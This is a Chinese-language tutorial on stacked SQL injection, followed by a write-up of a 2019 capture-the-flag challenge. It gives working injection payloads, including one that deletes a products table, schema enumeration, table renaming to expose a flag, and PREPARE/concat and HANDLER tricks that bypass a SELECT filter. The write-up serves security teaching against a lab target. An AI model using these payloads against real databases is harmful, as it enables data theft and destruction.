堆叠注入介绍
所谓堆叠注入,就是把多条完整的SQL语句用分号;
分隔开,而不是用union
或union all
连接起来。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union
all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE
FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where
productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
举例:[强网杯 2019]随便注 1
首先检查注入类型:字符注入
1' or 1=1 #
返回了所有数据,说明是字符型注入。
再次检查字段数
1' order by 2 #
# 返回正常数据
1' order by 3 #
# error 1054 : Unknown column '3' in 'order clause'
# 报错,说明只有2个字段
查看数据库
1' union select 1, database() #
报错:
说明服务端脚本过滤了一些select、update语句,那就试试堆叠注入:
1';show databases;#
找到数据库:supersqli。
查看数据表
1';show tables;#
找到两张表:1919810931114514、words。
查看表字段名
1';show columns from words;#
1';show columns from `1919810931114514`;#
从表结构可以知道前端?inject=1
显示的是words表的数据。
获取flag
现在无法用SELECT来查询flag,只能通过修改表明和表结构,改成words表明。因为有GET请求中的id,所以表结构里必须包含id。
首先改一下1919810931114514的表结构:
1';ALTER TABLE `1919810931114514` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
查一下此表结构,是否变换:
为了前端能显示出来,改名为’words’,原来的words表改为words2:
1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
查看flag:
1' or 1=1 #
预处理绕过select限制
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
handler绕过
';handler `1919810931114514` open;handler `1919810931114514` read first#
本地环境搭建
https://github.com/CTFTraining/qwb_2019_supersqli